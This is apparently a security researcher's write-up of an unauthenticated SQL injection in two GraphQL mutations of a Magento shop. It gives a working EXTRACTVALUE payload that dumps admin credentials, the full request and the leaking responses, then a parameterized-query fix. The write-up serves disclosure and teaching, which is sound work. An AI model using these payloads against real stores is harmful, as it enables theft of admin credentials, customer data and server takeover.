October 28, 2026
Unauthenticated SQLi in a GraphQL API: From Guest to Admin Takeover
Imagine being able to extract the admin credentials of a massive e-commerce platform without even logging in. No user interaction, no…
By n0itra
4 min read
Imagine being able to extract the admin credentials of a massive e-commerce platform without even logging in. No user interaction, no authentication required — just a single, malicious GraphQL request.
During a recent security assessment on a production e-commerce platform built on Magento, I discovered a critical, unauthenticated SQL Injection vulnerability. The flaw existed in the GraphQL API, specifically within two mutations: sendOtpToCustomer and checkMobileExist.
Here is the full breakdown of how it works, the exact payloads used, and how a simple string concatenation flaw can lead to a complete server compromise.
The Root Cause: Raw SQL in GraphQL Resolvers
Magento heavily relies on GraphQL for its storefront. When an attacker interacts with GraphQL mutations, the server-side resolvers handle the logic.
The vulnerability was astonishingly simple: both vulnerable resolvers took the user-supplied mobile parameter and concatenated it directly into a raw SQL query without any sanitization or parameterization.
The query being built on the server side looked essentially like this:
sql
SELECT entity_id FROM customer_entity WHERE 'mobilenumber' = 'USER_INPUT'SELECT entity_id FROM customer_entity WHERE 'mobilenumber' = 'USER_INPUT'Because the user input is dropped directly inside the string literal, a single quote (') in the mobile field closes the literal early. Everything after it is interpreted as raw SQL.
This root cause was confirmed across Production, Staging, and Development environments. For this write-up, we will focus on the Production impact at redacted.com.
The Exploitation: Two Paths to Compromise
I used two distinct confirmation techniques to prove the severity of this flaw.
1. Error-Based Data Extraction (sendOtpToCustomer)
For maximum impact, I targeted the sendOtpToCustomer mutation. Instead of just breaking the query, I wanted to extract data. I utilized MySQL's EXTRACTVALUE() function. By wrapping a subquery inside EXTRACTVALUE() with a malformed XPath expression, MySQL evaluates the subquery and throws an error that echoes the result directly in the SQLSTATE error message.
The Payload:
json
' AND EXTRACTVALUE(1, CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM admin_user LIMIT 1), 0x7e))#' AND EXTRACTVALUE(1, CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM admin_user LIMIT 1), 0x7e))#The Request:
I sent the following POST request to the /graphql endpoint. Notice how the payload is injected directly into the mobile variable.
http
POST /graphql HTTP/2
Host: redacted.com
Content-Type: application/json
Store: default_store
{
"operationName": "sendotpToCustomer",
"variables": {
"mobile": "' AND EXTRACTVALUE(1, CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM admin_user LIMIT 1), 0x7e))#",
"resend": 0,
"storeId": 2,
"eventType": "customer_login_otp",
"ipAddress": "",
"email": "",
"token": "<redacted>"
},
"query": "mutation sendotpToCustomer($mobile: String, $resend: Int!, $storeId: Int!, $eventType: String, $ipAddress: String, $email: String, $token: String) { sendotpToCustomer(mobile: $mobile, resend: $resend, storeId: $storeId, eventType: $eventType, ipAddress: $ipAddress, email: $email, token: $token) { message status _typename } }"
}POST /graphql HTTP/2
Host: redacted.com
Content-Type: application/json
Store: default_store
{
"operationName": "sendotpToCustomer",
"variables": {
"mobile": "' AND EXTRACTVALUE(1, CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM admin_user LIMIT 1), 0x7e))#",
"resend": 0,
"storeId": 2,
"eventType": "customer_login_otp",
"ipAddress": "",
"email": "",
"token": "<redacted>"
},
"query": "mutation sendotpToCustomer($mobile: String, $resend: Int!, $storeId: Int!, $eventType: String, $ipAddress: String, $email: String, $token: String) { sendotpToCustomer(mobile: $mobile, resend: $resend, storeId: $storeId, eventType: $eventType, ipAddress: $ipAddress, email: $email, token: $token) { message status _typename } }"
}The Response: The server responded with an HTTP 200 OK. Because of the error-based injection, the database leaked the admin username and the beginning of the password hash directly in the JSON response:
json
{
"data": {
"sendotpToCustomer": {
"message": "SQLSTATE[HY000]: General error: 1105 XPATH syntax error: 'admin:[REDACTED-PARTIAL-HASH]', query was: Select entity_id FROM customer_entity WHERE 'mobileNumber' = '' AND EXTRACTVALUE(1, CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM admin_user LIMIT 1),0x7e))#'",
"status": false,
"__typename": "CustomerToken"
}
}
}{
"data": {
"sendotpToCustomer": {
"message": "SQLSTATE[HY000]: General error: 1105 XPATH syntax error: 'admin:[REDACTED-PARTIAL-HASH]', query was: Select entity_id FROM customer_entity WHERE 'mobileNumber' = '' AND EXTRACTVALUE(1, CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM admin_user LIMIT 1),0x7e))#'",
"status": false,
"__typename": "CustomerToken"
}
}
}Boom. The first admin username is admin, and the beginning of the password hash was right there in the error message. (I truncated the output due to MySQL's ~32-character limit on EXTRACTVALUE errors; using SUBSTRING would have allowed me to dump the full hash and the entire database).
2. Syntax Error Confirmation (checkMobileExist)
The second vulnerable mutation was checkMobileExist. While I didn't extract data from this endpoint, I confirmed it was injectable through the exact same root cause.
Normal Baseline Request:
json
{
"operationName": "checkMobileExist",
"variables": { "mobile": "+966xxxxxxxxx" },
"query": "mutation checkMobileExist($mobile: String!) { checkMobileExist(mobile: $mobile) { status blocked message __typename } }"
}{
"operationName": "checkMobileExist",
"variables": { "mobile": "+966xxxxxxxxx" },
"query": "mutation checkMobileExist($mobile: String!) { checkMobileExist(mobile: $mobile) { status blocked message __typename } }"
}Response: Expected application JSON (status: false, message: "Account with this phone number is not exist").
The Inject: I simply appended a single trailing quote (') to the mobile number:
json
"variables": { "mobile": "+966xxxxxxxxx'" }"variables": { "mobile": "+966xxxxxxxxx'" }The Response: The server instantly threw a raw MySQL syntax error, reflecting the unescaped query back to me:
json
{
"data": {
"checkMobileExist": {
"status": false,
"blocked": false,
"message": "SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''966558147''' at line 1, query was: Select entity_id FROM customer_entity WHERE `mobilenumber` = '+966xxxxxxxxx''",
"__typename": "checkMobileExistOutput"
}
}
}{
"data": {
"checkMobileExist": {
"status": false,
"blocked": false,
"message": "SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''966558147''' at line 1, query was: Select entity_id FROM customer_entity WHERE `mobilenumber` = '+966xxxxxxxxx''",
"__typename": "checkMobileExistOutput"
}
}
}This confirmed that checkMobileExist was vulnerable via the exact same unparameterized mobilenumber lookup.
The Impact: From Guest to God Mode
Why is this so severe? Because it requires zero authentication.
By exploiting either of these mutations, an unauthenticated attacker can read arbitrary data from the database. The most immediate and severe outcome is the theft of Magento admin credentials. If those hashes are cracked or reused, the attacker gains access to the admin panel.
And in Magento, Admin Panel Access = RCE (Remote Code Execution). An attacker can upload custom modules, inject malicious templates, or use known admin-authenticated code execution vectors to completely compromise the underlying web server.
Furthermore, the broader database is fully exposed. Attackers could dump massive amounts of customer PII (names, emails, phone numbers, order metadata, and potentially payment data) from the customer_entity and related tables.
Remediation
The fix for this is textbook, yet it remains one of the most common vulnerabilities we see today: Never concatenate user input into SQL queries.
To fix this, developers must use Parameterized Queries (Prepared Statements). By binding the mobile parameter as data rather than interpreting it as SQL, the database engine ensures the input cannot break out of the string literal.
php
// Vulnerable:
$sql = "SELECT entity_id FROM customer_entity WHERE mobilenumber = '$mobile'";
// Secure:
$sql = "SELECT entity_id FROM customer_entity WHERE mobilenumber = :mobile";
$bind = ['mobile' => $mobile];// Vulnerable:
$sql = "SELECT entity_id FROM customer_entity WHERE mobilenumber = '$mobile'";
// Secure:
$sql = "SELECT entity_id FROM customer_entity WHERE mobilenumber = :mobile";
$bind = ['mobile' => $mobile];Final Thoughts
GraphQL is incredibly powerful, but it simply acts as a transport layer. If the resolvers behind your GraphQL mutations are not properly sanitizing inputs before passing them to the database, you are just as vulnerable as a traditional PHP or SQL application. Always audit your resolvers, and always parameterize your queries.